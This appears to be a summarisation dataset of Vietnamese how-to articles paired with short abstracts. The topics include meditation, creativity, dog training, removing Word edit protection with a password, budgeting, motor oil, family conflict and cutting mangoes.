Khi chúng ta sống tại một nơi nào đó trong nhiều tháng hoặc nhiều năm, chúng ta sẽ ngừng xem nó là điều phi thường hoặc thú vị. Bạn có thể truyền sức sống cho đam mê mà bạn dành cho nơi bạn sinh sống bằng cách đóng vai một vị khách du lịch trong một ngày. Đến tham quan bảo tàng, công viên, và phòng triển lãm tranh trong khu vực. Chụp ảnh và cố gắng trải nghiệp những địa điểm này tương tự như khách du lịch. Thử qua nhà hàng mà bạn chưa từng đến, hoặc gọi món ăn mới từ thực đơn của nơi bạn yêu thích. Trải nghiệm cuộc sống theo quan điểm của người ngoài cuộc – bạn sẽ tái khám phá những điều mà bạn yêu thích về nó. Khi nghĩ về thiền, có lẽ bạn sẽ hình dung rằng đây là một công việc chứ không phải là thời gian để vui đùa. Mặc dù nó đòi hỏi sự yên tĩnh và tập trung, thiền có thể trở thành hoạt động thú vị. Thật ra, nó cho phép bạn kết nối với nội tâm của mình và môi trường bên ngoài, có nghĩa là bạn sẽ có ý thức hơn trước phương thức để vui vẻ xung quanh bạn. Để biến quá trình thiền trở nên thú vị, bạn nên tìm người có thể thiền cùng bạn. Thay đổi môi trường, và điều này có thể thúc đầy mọi thứ trở nên đầy thử thách và thú vị hơn. Bạn cũng có thể tìm phương pháp thiền có hướng dẫn với âm thanh và lời nhắc nhở lý thú. Nếu tiếng nói trong đầu bạn thường xuyên than phiền hoặc chỉ trích, sẽ khó để bạn tận hưởng cuộc sống. Vượt qua quá trình tự nói chuyện với bản thân theo kiểu tiêu cực sẽ mời gọi nhiều sự tích cực hơn bước vào một ngày của bạn. Để ngừng nói chuyện với bản thân một cách tiêu cực, bạn nên tuân theo bốn bước sau. Chú ý đến suy nghĩ của mình nhiều hơn. Quyết định xem liệu suy nghĩ của bạn có hữu ích hay không (ví dụ, chúng cải thiện hay khiến tình huống trở nên tồi tệ hơn)? Ngừng suy nghĩ tiêu cực ngay lập tức. Lựa chọn không tham gia hoặc hoan nghênh suy nghĩ tiêu cực. Thay đổi lời tự nói chuyện tiêu cực thành tích cực. Ví dụ, câu nói "Tất cả mọi bài tập mình phải làm sẽ khiến mình không bao giờ có thể dành thời gian cho bạn bè" sẽ được chuyển đổi thành tích cực hơn như "Nếu mình nỗ lực cố gắng làm bài tập và không trì hoãn, mình có thể nghỉ giải lao giữa giờ và gặp gỡ bạn bè". Trở nên biết ơn sẽ giúp bạn nhìn nhận mọi hoạt động dưới dạng thú vị hơn là không hài lòng. Có khá nhiều cách để bạn bày tỏ lòng biết ơn, như nói lời cảm ơn và bắt đầu viết nhật ký về lòng biết ơn. Tuy nhiên, một trong những biện pháp hiệu quả nhất để thay đổi quan điểm đó là thay đổi ngôn ngữ của bạn. Ví dụ, chúng ta thường than phiền hoặc cằn nhằn về mọi công việc chúng ta cần phải làm. Một gợi ý đó là bạn nên thay đổi ngôn ngữ của bạn thành lời mô tả về mọi nhiệm vụ bạn nên thực hiện. Thay đổi từ "cần phải" thành "nên" sẽ đem lại sự biến đổi tích cực trong cách bạn nhìn nhận và tận hưởng cuộc sống.

Abstract: Trở thành khách du lịch trong một ngày. Thiền. Ngừng tự nói chuyện với bản thân một cách tiêu cực. Nuôi dưỡng trái tim biết ơn.


Mỗi ngày dành ra một khoảng thời gian để cho đầu óc đi lan man. Động não, mơ mộng, hoặc chỉ cần thư giãn và suy ngẫm về cuộc sống. Đừng nhận xét hay đánh giá các ý nghĩ của mình, bất luận chúng có vẻ ngớ ngẩn đến thế nào – hãy để cho trí tưởng tượng bay xa. Giả sử bạn đang nghĩ về một "thành phố mây" lơ lửng trên cao hàng trăm mét giữa không trung. Đừng vội cho đó là điều viển vông và ngừng suy nghĩ. Bạn hãy tưởng tượng ra những chi tiết, chẳng hạn như trên đó con người sống như thế nào, làm sao thành phố có thể ở giữa không trung, và bằng cách nào con người từ mặt đất đến được thành phố đó. Biết đâu bạn có thể nảy ra một ý tưởng tuyệt vời cho một cuốn tiểu thuyết, thậm chí là một công nghệ mới! Bạn cũng có thể nghe nhạc trong khi để cho trí tưởng tượng của mình bay bổng. Miễn là âm lượng không quá lớn, những âm thanh xung quanh có thể kích thích sự sáng tạo ở bạn. và hoài nghi về lẽ phải thông thường. Những ý tưởng vĩ đại đôi khi đi ngược lại những điều được cho là chân lý, vì vậy, bạn hãy suy nghĩ vượt khỏi khuôn khổ và mở ra những cánh cửa mà những người khác thường bỏ qua. Thay vì mù quáng chấp nhận điều gì đó là sự thực, bạn hãy đặt câu hỏi và xử lý thông tin bằng tư duy phân tích. Việc chấp nhận một cách mù quáng điều gì đó chỉ vì người nắm quyền khẳng định là đúng sẽ không phải là một cách hay để học hỏi. Khi nghe người khác nói rằng một điều gì đó mãi mãi là chân lý, bạn hãy tưởng tượng ra những ngoại lệ không tuân theo quy luật. Albert Einstein nổi tiếng với việc dùng hình ảnh và những thí nghiệm tưởng tượng để giải các bài toán. Khi đứng trước một vấn đề trừu tượng hoặc cảm thấy những ý nghĩ của mình đang rối tung, bạn hãy sử dụng phương tiện hình ảnh để có thể nhìn được bức tranh rộng lớn hơn. Các lưu đồ, các khung bong bóng ghi ý nghĩ, sơ đồ Venn và bản đồ tư duy là những công cụ thị giác tuyệt vời. Chúng có thể giúp bạn sắp xếp các thông tin và chỉ ra các mối liên kết giữa các khái niệm mà có thể bạn chưa nhận ra. Nhà tâm lý học Benjamin Bloom đã phát triển một bộ khung gọi là bảng phân loại tư duy Bloom, trong đó chia thành sáu cấp độ tư duy. Phiên bản mới của bảng phân loại này nêu ra nhiều mức nhận thức, từ ghi nhớ thông tin cho tới sáng tạo ra cái mới. Điểm mấu chốt là bạn không nên dừng lại ở mức độ chỉ nhớ lại một cách đơn giản, mà thay vào đó là hướng đến việc sử dụng thông tin để sáng tạo ra điều mới mẻ. Giả sử bạn đọc một truyện ngắn. Bạn nhớ chi tiết của truyện, hiểu cốt truyện và suy đoán vì sao một nhân vật có hành động nào đó. Khi đào sâu hơn, bạn có thể nghĩ mình sẽ hành động khác đi như thế nào khi vào vai nhân vật và đánh giá bài học luân lý của truyện. Ở mức độ sâu sắc nhất, bạn sẽ dùng những điều đã học được để tạo ra tác phẩm của riêng mình, chẳng hạn như một bài hát hoặc bài thơ kể lại câu chuyện đó theo một cách khác.

Abstract: Để cho đầu óc bay bổng và không phán xét những ý tưởng của mình. Suy nghĩ với tư duy phản biện Sử dụng các biểu đồ và hình ảnh để hình dung ra vấn đề. Cố gắng hướng đến nhận thức sáng tạo thay vì chỉ đơn thuần học thuộc lòng.


Huấn luyện là quá trình lâu dài và phải luôn diễn ra cho dù chó đang ở độ tuổi nào. Tuy nhiên, nếu bạn cứu một chú chó trưởng thành, hoặc nhận ra rằng chú cún có những thói quen xấu, bạn cần nắm rõ phương pháp huấn luyện chó trưởng thành hiệu quả nhất. Bạn nên đưa chú cún đi khám bác sĩ thú y. Điều này giúp bạn nhận thức được hạn chế của chúng, cũng như tìm ra vấn đề sức khỏe gây nên tình trạng không phục tùng mệnh lệnh. Ví dụ như trong trường hợp chó không chịu ngồi xuống, có thể chúng đang bị đau hông, khiến cho việc ngồi xuống rất khó khăn. Cách giải quyết đó là cho chú cún dùng thuốc giảm đau và thay đổi mệnh lệnh khác như là "đứng dậy." Ngoài ra, nếu chú cún trưởng thành cố ý không phục tùng, có khả năng là chúng bị điếc, do đó sẽ không nghe được mệnh lệnh của bạn. Khi xác định được vấn đề này, bạn có thể chuyển sang tín hiệu bằng tay, thay vì mệnh lệnh bằng lời nói để chú cún có thể phản ứng lại. Ví dụ, nếu chú cún có thái độ hung hăn với chó lạ, đây có phải là do sợ hãi hay muốn bảo vệ lãnh thổ? Nắm được yếu tố then chốt này sẽ giúp bạn huấn luyện lại chú cún có hiệu quả hơn, thông qua việc hình thành sự tự tin đối với những con chó khác hoặc dọn dẹp đồ chơi mà chúng quyết luyệt bảo vệ. Nếu chú cún hay chạy ra ngoài và chưa triệt sản, bạn có thể mang chúng đi thiến để giải quyết vấn đề. Tìm hiểu những bài huấn luyện mà chó chưa tiếp thu tốt để tập trung vào nội dung đó. Chú cún có thói quen xấu nào đó cần phải điều chỉnh, hoặc bài huấn luyện cần phải mài sắc thêm? Nếu chó phản ứng tốt, bạn có thể cân nhắc huấn luyện một số thủ thuật. Huấn luyện là phương pháp hiệu quả nhằm gắn kết với chú cún và giúp chúng hiểu rằng bạn là người chịu trách nhiệm. Hơn nữa, việc huấn luyện chú cún đang trong tình trạng đau buồn có thể giúp chúng bớt tập trung và xoa dịu nỗi buồn, vì khi đó chú cún có thể tận hưởng thời gian riêng với chủ nhân và cảm thấy an tâm rằng bạn là người bảo vệ chúng.

Abstract: Ghi nhớ rằng bạn đang huấn luyện chó trưởng thành đã có kinh nghiệm về cuộc sống. Lưu ý tình trạng thể chất. Dành thời gian tìm hiểu chú cún và nhận biết điều gì làm chúng khó chịu.


Nhấp đúp vào văn bản Word mà bạn muốn gỡ chế độ bảo vệ. Bạn sẽ thấy văn bản hiển thị trong Word. Thao tác này sẽ mở thanh công cụ Review ở phía trên cửa sổ Word. Thao tác này sẽ làm xuất hiện một trình đơn ở bên phải cửa sổ. Màn hình sẽ hiển thị thêm một cửa sổ khác. Nếu bạn hoặc người dùng khác có quyền truy cập máy tính của bạn đã thiết lập chế độ bảo vệ không có mật khẩu, việc nhấp vào Stop Protection sẽ tự động gỡ chế độ bảo vệ. Gõ mật khẩu của văn bản vào trường "Password" (Mật khẩu), rồi nhấp vào OK. Thao tác này sẽ gỡ chế độ chỉ đọc của văn bản Word ngay lập tức nếu mật khẩu được nhập đúng. Nếu không biết mật khẩu, bạn sẽ phải sao chép và dán nội dung của tập tin. Từ bây giờ, tập tin đã không còn chế độ chỉ đọc trừ khi bạn bật lại chế độ chặn chỉnh sửa.

Abstract: Mở văn bản Word. Nhấp vào thẻ Review (Xem lại) ở phía trên góc phải cửa sổ Word. Nhấp vào Restrict Editing (Giới hạn chỉnh sửa) ở ngoài cùng bên phải thanh công cụ Review. Nhấp vào Stop Protection (Dừng bảo vệ) ở bên dưới trình đơn đang hiển thị. Nhập mật khẩu khi được yêu cầu. Lưu thay đổi bằng cách ấn Ctrl+S (trên Windows) hoặc ⌘ Command+S (trên Mac).


Khi bạn đang ăn kiêng đường, bạn phải chú ý cẩn thận với thực phẩm mua ở cửa hàng tạp hóa bởi vì có nhiều loại thực phẩm chứa nhiều đường. Bạn có thể xem bảng thành phần và chất dinh dưỡng trên bao bì để biết mỗi khẩu phần ăn chứa bao nhiêu đường. Tuy nhiên qua bảng thành phần, bạn không thể biết đó là đường tự nhiên hay đường phụ gia. Cẩn thận khi mua thức ăn! Chắc hẳn ai cũng biết loại thực phẩm ngọt thường chứa nhiều đường, như bánh quy, nhưng không phải ai cũng rõ rằng một số loại thức ăn mặn cũng chứa đường như salad, bánh mì và nước sốt cà chua. Do đó kiểm tra thành phần trên bao bì cẩn thận và tránh mua thực phẩm có chứa đường. Đọc kỹ thành phần thức ăn để kiểm tra loại thức ăn đó có chứa đường phụ gia hay không. Lưu ý, một số sản phẩm vẫn liệt kê đường trong bảng thành phần, nhưng không chứa đường phụ gia. Ví dụ, cả sữa chua nguyên chất hoặc nước sốt táo không đường đều chứa đường tự nhiên. Đường phụ gia thường là những loại đường như đường trắng, đường nâu, đường củ cải, đường mía, mật mía, sirô agave, xi rô bắp có lượng fructose cao, đường là từ mía đường, mật ong, xi-rô phong, nước trái cây cô đặc và nhiều loại đường khác. Đường phụ gia là loại đường được thêm vào thực phẩm tăng làm ngọt và hầu hết đường phụ gia không chứa chất dinh dưỡng. Đường tự nhiên trong trái cây và sữa kết hợp với vitamin, khoáng chất và chất xơ làm cho loại đường này càng trở nên bổ dưỡng hơn. Một số loại đường tự nhiên như fructose (trong trái cây) và đường lactose (trong sữa). Tất cả trái cây, sản phẩm từ trái cây (như táo không đường) và sản phẩm từ sữa (như sữa chua, sữa hoặc phô mai) chứa đường tự nhiên nhưng có hàm lượng khác nhau. Bạn cũng có thể thay thế thực phẩm chứa đường phụ gia thành loại chứa đường tự nhiên, lành mạnh. Khi đang thèm đồ ngọt, bạn có thể ăn thực phẩm chứa đường tự nhiên như trái cây hoặc sữa chua. Thực phẩm chế biến sẵn thường được thêm đường vào để làm tăng mùi vị, cấu trúc và còn giúp tăng thời hạn sử dụng cho thực phẩm ấy. Thực phẩm đông lạnh, đồ ăn nhẹ đóng gói, súp đóng hộp, nước sốt, nước sột trộn salad đều có thêm đường. Do đó, nếu có thể hãy cố gắng tự chế biến những món này. Cố gắng dùng thực phẩm nguyên chất và không đường. Ví dụ, dùng táo không đường hoặc sữa chua để làm bữa ăn nhẹ. Thực phẩm có mùi thơm thường sẽ có chứa đường phụ gia. Ngay cả trái cây có thể được cho thêm đường khi chế biến. Bạn có thể uống nước ép trái cây đã được lọc chất xơ với nước để no lâu hơn. Nếu trong chế độ ăn của bạn có trái cây, thì tốt hơn hết nên chọn trái cây nguyên trái.

Abstract: Đọc kỹ thông tin trên bao bì mỗi khi mua thực phẩm. Thay đường phụ gia bằng đường tự nhiên. Tránh thực phẩm đã qua chế biến sẵn.


Theo quy tắc dựa trên kinh nghiệm, tạo ngân quỹ theo tháng là cách rất hiệu quả. Vì vậy, bạn cần xác định thu nhập hàng tháng. Cần quan tâm đến thu nhập thực lãnh, là khoản tiền bạn nhận được sau khi bị trừ thuế. Nếu làm việc theo giờ, nhân tiền công theo giờ với số giờ mà bạn làm mỗi tuần. Nếu lịch làm việc của bạn thay đổi, dùng số giờ tối thiểu bạn làm một tuần thay vì số giờ tối đa. Nhân 4 mức tiền công xấp xỉ hàng tuần để được số tiền công xấp xỉ trong tháng. Nếu làm việc theo mức lương nhất định, chia mức lương thực lãnh hàng năm cho 12 để xác định bạn nhận được bao nhiêu tiền mỗi tháng. Nếu được trả lương hai tuần một lần, tiền lương hàng tháng sẽ dựa trên 2 lần trả lương, bởi đó là toàn bộ số tiền nhận được trong mỗi tháng. Điều này đặc biệt hữu ích nếu ngân quỹ của bạn không nhiều, sau đó hai lần một năm bạn sẽ nhận tiền thưởng để củng cố tài khoản tiết kiệm. Nếu làm công việc lặt vặt và có mức thu nhập không thường xuyên, hãy tính trung bình thu nhập định kỳ trong 6 tới 12 tháng cuối. Dùng mức trung bình để tạo ngân quỹ hàng tháng, hoặc chọn tổng số tiền hàng tháng thấp nhất để dành cho bản thân trong tình huống xấu nhất. Ví dụ tại Mỹ, nếu lương hàng tháng của bạn là $3,800 thì đó là thu nhập chính của bạn. Một lần nữa, bạn phải điều chỉnh số tiền này khi tính thuế. Chỉ liệt kê thu nhập là số tiền thực lãnh. Thu nhập khác là bất cứ khoản tiền bạn nhận thường xuyên mà bạn không làm ra, chẳng hạn tiền cấp dưỡng. Một ví dụ khác tại Mỹ, nếu bạn kiếm được $200 mỗi tháng từ công việc làm thêm, thì tổng thu nhập là $3,800 + $200 hoặc $4,000. Nếu bạn không phụ thuộc vào một số khoảng tiền nhận được trong tháng, thì đừng gộp chúng vào ngân quỹ hàng tháng. Thật may là bạn nhận được thu nhập bổ sung, đó sẽ là "món lời". Nghĩa là, đó chính là số tiền mà bạn có thể chi tiêu cho những món ngoài dự tính (hoặc, để tiết kiệm sẽ tốt hơn).

Abstract: Tính toán thu nhập hàng tháng. Kể ra một vài nguồn thu nhập khác. Bỏ qua tiền thưởng, thu nhập ngoài giờ, và thu nhập không thường xuyên.


Nếu bạn là một phụ nữ và bạn thầm thích cô bạn thân của bạn, thì việc bạn tự hỏi liệu mình có cơ hội hay không là điều bình thường. Tuy nhiên, trước khi bắt đầu nêu câu hỏi chính, bạn nên tự hỏi bản thân về mục tiêu của mình: Sự hấp dẫn thường gây cản trở tình bạn, và nó sẽ không biến mất nếu bạn biết rằng người bạn của bạn không phải là đồng tính. Đôi khi, nói rõ về nó là điều bạn cần phải thực hiện, bất kể người đó có cảm giác như thế nào. Mặt khác, nếu hai bạn không có cảm giác tương tự nhau (và thường là như vậy), tình bạn có thể kết thúc. Nếu điều này sẽ hủy hoại bạn, và bạn không có hệ thống hỗ trợ để giúp đỡ bản thân (đặc biệt nếu bạn vẫn chưa công khai về giới tính của mình) thì việc tiếp tục sẽ không phải là ý hay. Bạn nên xa người đó ít nhất là một vài tuần thay vì cố gắng, và xoa dịu tình hình cũng như tiếp tục tình bạn ở mức độ ít căng thẳng hơn. Nếu bạn không chắc chắn về giới tính của mình, hoặc nếu không phải là người đồng tính nhưng có tình cảm với người bạn của mình, bạn nên tập trung vào bản thân thay vì vào cô ấy. Tìm kiếm nguồn LGBT trực tuyến hoặc tại trung tâm cộng đồng LGBT để giúp bạn xác định tính chất của mình. Lối suy nghĩ khao khát sẽ che mờ óc suy xét của bạn khi bàn về chuyện tình cảm. Nếu bạn của bạn đã từng hẹn hò với nam giới trong quá khứ hoặc nói cho bạn biết về chàng trai mà cô ấy để ý, có lẽ cô ấy không phải là người đồng tính.  Không có một dấu hiệu rõ ràng nào cho thấy một người nào đó là đồng tính nữ, đặc biệt nếu cô ấy vẫn chưa công khai về giới tính của mình. Cố gắng phân tích người đó theo cách này sẽ không khả thi, đặc biệt khi sự lôi cuốn đang che mờ khả năng suy xét của bạn. Nếu người đó bị thu hút bởi bạn, cô ấy có thể chủ động trong những cử chỉ đụng chạm thân thể (ví dụ, một cái ôm lâu) hoặc thường xuyên hỏi thăm bạn. Không may mắn thay, sẽ khó để phân biệt rõ giữa điều này với tình bạn thân thiết của phái nữ, đặc biệt nếu cô ấy đang đáp lại khao khát riêng của bạn về sự tương tác thân mật. Nếu có thể được, bạn nên trò chuyện với một người bạn mà bạn tin tưởng về tình huống này (tốt nhất là người mà bạn có thể công khai về giới tính của mình hoặc đã làm điều này). Người đó sẽ có cái nhìn không định kiến về việc liệu người bạn của bạn có để ý đến bạn hay không, và sẽ giúp bạn vượt qua cảm giác của mình. Bạn chỉ nên tiếp tục nếu bạn xác định rằng đây là vấn đề quan trọng đủ để bạn mạo hiểm với tình bạn của mình. Trước khi cho bạn của bạn biết, bạn nên tìm hiểu đôi chút về quan điểm của cô ấy đối với mối quan hệ đồng tính nam và nữ. Cô ấy phản ứng như thế nào với cặp đôi đồng tính trong tưởng tượng và trong đời thực? Cô ấy có ủng hộ quyền của người đồng tính nam hay không? Cho dù có vẻ chấp nhận thì cô ấy cũng chưa chắc là đồng tính nữ - nhưng nó sẽ khiến bạn dễ dàng thực hiện bước tiếp theo. Nếu cô ấy phản ứng với chủ đề bằng sự ghê sợ, bạn không nên tiếp tục cuộc trò chuyện.  Một cách để đề cập đến vấn đề này là nhắc về việc bạn đang có dự định tham dự sự kiện Liên minh Người Đồng tính và Dị tính, và nó sẽ chỉ "loại" bạn như một đồng minh dị tính. Một vài người trưởng thành trong môi trường kỳ thị đồng tính luyến ái sẽ thể hiện quan điểm tiêu cực về đồng tính ngay cả khi họ có vẻ bị thu hút bởi người cùng giới. Nếu bạn của bạn trông có vẻ bảo thủ về chủ đề hoặc đang gửi đi tín hiệu gây nhầm lẫn, có thể cô ấy cần nhiều thời gian hơn để xác định giới tính của mình. Đây không phải là điều mà bạn có thể thực hiện thay cô ấy. Nếu bạn cảm thấy thoải mái với giới tính và danh tính của mình, và bạn của bạn là một đồng minh của LGBT (hoặc ít ra không chống lại họ), bước tiếp theo là nói cho người đó biết rằng bạn không phải người dị tính luyến ái. Đây sẽ là khoảnh khắc đem lại thành công hoặc thất bại, và mặc dù khá buồn, nhưng lời hồi đáp thường hiếm khi là điều bạn muốn. Nhưng bạn không thể tiến bước nếu không trút bỏ gánh nặng, đừng nên tiết lộ mọi bí mật với người đó. Hãy cho cô ấy biết chuyện đang diễn ra, nhưng hãy tiến hành điều này theo cách không gây nhiều áp lực cho cô ấy hoặc cho tình bạn của cả hai. Quá trình này khá riêng tư cho tình bạn của bạn hoặc cho câu chuyện mà cả hai đang có, nhưng sau đây là một vài ví dụ để bắt đầu: "Tớ nghĩ là cậu rất quyến rũ, nhưng duy trì tình bạn là điều quan trọng nhất đối với tớ". "Tớ có tình cảm với cậu. Tớ chỉ cần một chút thời gian để ngừng suy nghĩ về nó". (nói đùa) "Tớ ước mình có thể tìm được người yêu tử tế như cậu!" Bây giờ, bạn của bạn đã biết rõ về điều bạn cần cô ấy biết. Có thể cô ấy vẫn chưa sẵn sàng để trò chuyện về giới tính riêng của mình hoặc về cảm giác của cô ấy với tình cảm của bạn. Việc nêu câu hỏi trực tiếp sẽ không giúp ích cho bạn: nếu cô ấy có cảm giác tương tự như bạn, cô ấy sẽ nói cho bạn biết. Hãy kết thúc cuộc trò chuyện và dành cho cô ấy thời gian để xử lý điều mà cô ấy đã nghe. Hai bạn sẽ cần phải cách xa nhau trong một khoảng thời gian để làm dịu bầu không khí.

Abstract: Xác định mục tiêu của bạn. Thừa nhận dấu hiệu về giới tính của người đó. Trò chuyện với một người bạn tâm giao khác. Khám phá mức độ thoải mái của cô ấy về chủ đề LGBTQ. Công khai về giới tính của mình với người bạn đó. Nhắc đến cảm giác của mình một cách ngắn gọn. Hãy để cô ấy quyết định.


Có rất nhiều lý do khiến bạn không sử dụng loại dầu được khuyến nghị trong sổ tay, nhưng điều đó thường không tạo thuận tiện hơn cho việc mua dầu. Hiểu được các con số và chỉ tiêu trên bao bì dầu nhờn động cơ sẽ giúp bạn đưa ra lựa chọn chính xác hơn, và đảm bảo xe chạy êm. Độ nhớt thể hiện tính sệt của chất lỏng, hoặc ma sát của dòng chảy. Độ nhớt cao khiến dầu khó chảy trơn tru vì nó sệt (ví dụ, sữa chua sệt hơn sữa thường). Có hai con số chỉ độ nhớt của dầu, thể hiện theo từng cặp, như 10W-30 hay 20W-50. Con số đầu tiên đi với chữ W chỉ nhiệt độ mùa đông của dầu. Số này cho biết khả năng chảy của dầu vào mùa đông lạnh khi dầu sệt hơn. Số thứ hai chỉ khả năng duy trì độ sệt của dầu khi bị nung nóng. Con số đầu tiên nên tối thiểu là 5W hoặc thấp hơn nếu bạn sống ở vùng rất lạnh (xem sổ tay hướng dẫn sử dụng xe), vì dầu sẽ trở nên quá sệt khiến xe không khởi động được nếu độ nhớt mùa đông quá cao. Sổ tay hướng dẫn sử dụng xe sẽ cung cấp chỉ số độ nhớt khuyến nghị cho xe. Nếu chỉ có một con số, như một số xe ô tô đời cũ, thì xe của bạn sử dụng dầu đơn cấp. Điều này sẽ bảo đảm xe của bạn vận hành tốt và đủ điều kiện bảo hành. Mỗi loại dầu động cơ có thể đáp ứng được nhiều tiêu chuẩn chứng nhận khác nhau, từ tiêu chuẩn API đến tiêu chuẩn ILSAC. Đảm bảo loại dầu bạn sử dụng đáp ứng các tiêu chuẩn mà nhà sản xuất quy định. Một số tiêu chuẩn chứng nhận thay đổi khi công nghệ ngày càng hiện đại. Cấp độ API hiện tại là SL, mặc dù trước đây là SJ và SI. Xin nhắc lại, bạn cần tham khảo sổ tay của xe để biết động cơ sử dụng loại dầu nào. Mặc dù hiệu quả hơn nhưng dầu tổng hợp cũng đắt tiền hơn các loại dầu khoáng ngang hàng. Tuy nhiên, dầu pha trộn hoàn toàn đạt yêu cầu, do đó bạn không cần phải chi nhiều tiền cho dầu tổng hợp nếu nó quá đắt. Nếu xe của bạn đang chạy tốt với dầu đơn cấp (một chỉ số độ nhớt) thì đừng chuyển đổi. Điều này có thể khiến cáu cặn tích tụ trong động cơ và gây ra sự cố. Tiếp tục sử dụng loại dầu phù hợp mà xe đã quen -- chuyển sang loại dầu có hiệu suất cao sẽ chỉ gây ra nhiều vấn đề hơn. Cân nhắc chuyển sang sử dụng loại dầu cấp cao hơn (40 hay 30) vào các tháng mùa hè khi trời nóng, thay vì sử dụng dầu đa cấp như 20W-40W.

Abstract: Sử dụng loại dầu được khuyến nghị trong sổ tay hướng dẫn. Cách đánh giá độ nhớt của dầu. Kiểm tra sổ tay tìm các yêu cầu về chứng nhận đối với dầu động cơ dùng cho xe của bạn. Sử dụng dầu tổng hợp cho xe thuộc phân khúc cao cấp hoặc hoạt động trong điều kiện khắc nghiệt. Đừng sử dụng dầu đa cấp đối với xe ô tô đời cũ.


Dù mâu thuẫn với mẹ vợ, anh họ nghiện rượu hay ông chú có thái độ không tốt với bạn, bạn cần cố gắng trao đổi một cách rõ ràng ý định và mong muốn của bản thân. Nhiều khả năng quyết định tránh mặt được củng cố bởi những tranh cãi và mâu thuẫn không ngừng xuất hiện.  Nếu sống cùng nhà, bạn có thể nói: "Con muốn mẹ hiểu rằng với mâu thuẫn hiện tại, con sẽ cố hết sức để duy trì khoảng cách cần thiết giữa chúng ta. Con nghĩ đó là điều đúng đắn cần làm. Mẹ đồng ý chứ?" Nếu không sống cùng, mọi việc sẽ dễ xử lý hơn. Bạn có thể cắt đứt liên lạc bằng cách không gọi điện thoại, nhắn tin hay gửi email. Tránh mọi tiếp xúc. Nhiều gia đình cho thấy tình trạng gia tăng mức độ căng thẳng và mâu thuẫn trong thời gian họp mặt. Nếu muốn tránh người chắc hẳn sẽ gây rắc rối cho bạn, hãy gửi lời xin lỗi và đừng tham dự. Lên kế hoạch và tổ chức những buổi họp mặt riêng. Tuy nhiên, tránh trùng thời gian để những người thân yêu của bạn không phải lựa chọn giữa hai người. Nó sẽ chỉ làm bùng cháy thêm bất kỳ xích mích nào giữa bạn và người đó. Có thể vì vài lý do, người họ hàng khiến bạn không tin tưởng. Có thể bạn sẽ không muốn ở một mình với họ. Dù lý do là gì, hãy luôn đi cùng ai đó khi bắt buộc phải tiếp xúc với họ. An toàn luôn là mối quan tâm hàng đầu. Nếu gặp khó khăn trong việc đối phó với ai đó, trao đổi với tư vấn viên có thể sẽ hữu ích. Hãy tìm đến chuyên gia tâm lý và bác sĩ tâm thần trong khu vực. Khi căng thẳng leo thang, có thể bạn sẽ cần đến sự giúp đỡ của luật sư. Mức nghiêm trọng của mâu thuẫn có thể khác nhau và đôi khi, mong muốn lớn nhất của bạn là tránh mọi tiếp xúc với ai đó. Về nguyên tắc, thưa kiện là tình huống mà một bên ở thế chống lại bên kia. Bất kỳ điều gì bạn nói hay làm đều có thể gây bất lợi cho bạn trước tòa. Luật sư sẽ hướng dẫn các bước, quy trình cần thực hiện. Có thể người bạn cố tránh có vấn đề nghiêm trọng. Nếu cảm thấy có khả năng gặp nguy hiểm, hãy xin lệnh cấm ai đó liên lạc với bạn. Khi họ vi phạm, bạn có thể gọi và nhờ đến sự can thiệp của cảnh sát.

Abstract: Xác định ranh giới. Đừng tham dự họp mặt gia đình. Chỉ gặp mặt khi có ai đó đi cùng. Tìm đến hỗ trợ chuyên nghiệp để kiểm soát cảm xúc và suy nghĩ của bạn. Tìm đến tư vấn pháp lý nếu cần. Yêu cầu lệnh cấm nếu cần thiết.


Cắt xoài làm đôi hoặc làm ba nhưng tránh cắt vào hạt xoài. Sau đó, cắt những đường dọc theo miếng xoài mà bạn đang cầm trên tay. Cẩn thận để không cắt xuyên qua phần vỏ. Tiếp theo, bạn sẽ cắt thêm những đường ngang để có họa tiết kẻ ô vuông. Giữ phần vỏ bên dưới miếng xoài và đẩy lên trên. Những khối xoài mà bạn cắt sẽ hiện rõ làm cho miếng xoài trông như một bông hoa. Tiếp theo, bạn chỉ việc bóc các khối xoài ra. Nếu khó bóc, bạn có thể dùng dao cắt từng khối xoài vào bát hoặc dùng thìa xúc. Cho các viên xoài vào bát và dùng thìa để ăn! Nếu muốn giữ các viên xoài để ăn sau, bạn có thể cho vào hộp nhựa nhưng lưu ý rằng xoài tươi sẽ ngon hơn và xoài sẽ bị mềm nếu bạn để lâu. Thêm một ít nước chanh vào xoài để tăng thêm hương vị. Xoài viên sẽ là một phần kết hợp tuyệt vời cho bất kỳ món salad hoa quả nào. Nếu bạn không muốn món salad bị ngập trong nước xoài thì dùng rây để lọc bỏ nước trước khi cho xoài vào salad. Sau đây là một số gợi ý để làm món salad xoài thơm ngon: Làm salad xoài với đu đủ, táo và dưa lưới. Kết hợp xoài với dứa. Thêm một ít bột quế để tăng thêm hương vị. Tạo ra món salad với xoài, lê và một ít quả cherry được cắt đôi. Ăn salad xoài và cam với một ít nước chanh. Mặc dù bạn nghĩ rằng xoài sẽ thích hợp nhất để thêm vào món salad hoa quả và tráng miệng vì vị ngọt và mọng nước nhưng xoài vẫn có thể thêm vào bất kỳ món chính nào để có hương vị hoàn hảo. Sau đây là một số ví dụ giúp bạn kết hợp xoài viên vào trong món chính: Tạo ra món sốt salsa vị xoài với đu đủ, quả bơ, một ít nước chanh và một ít ngò. Bạn có thể rưới sốt salsa lên thịt gà, thịt bò hoặc món tôm hay dùng để ăn kèm với khoai tây hoặc rau củ sấy. Cho xoài viên vào món burrito. Dùng thêm xoài trong món cơm Ca-ri-bê hoặc bất kỳ món nào có hương vị của vùng Ca-ri-bê. Xoài có vị ngọt tự nhiên nên rất thích hợp với các món tráng miệng. Sau đây là một số gợi ý dành cho bạn: Cho xoài viên vào sữa chua. Cho xoài viên vào kem. Cho xoài viên vào món pudding gạo cùng với một ít nho khô. Bạn có thể xếp xoài viên trên bề mặt của các món tráng miệng này hoặc khuấy đều.

Abstract: Cắt xoài. Ăn các viên xoài sau khi cắt. Cho xoài viên vào món salad hoa quả. Dùng xoài viên để tăng thêm hương vị cho món chính. Cho xoài viên vào món tráng miệng.


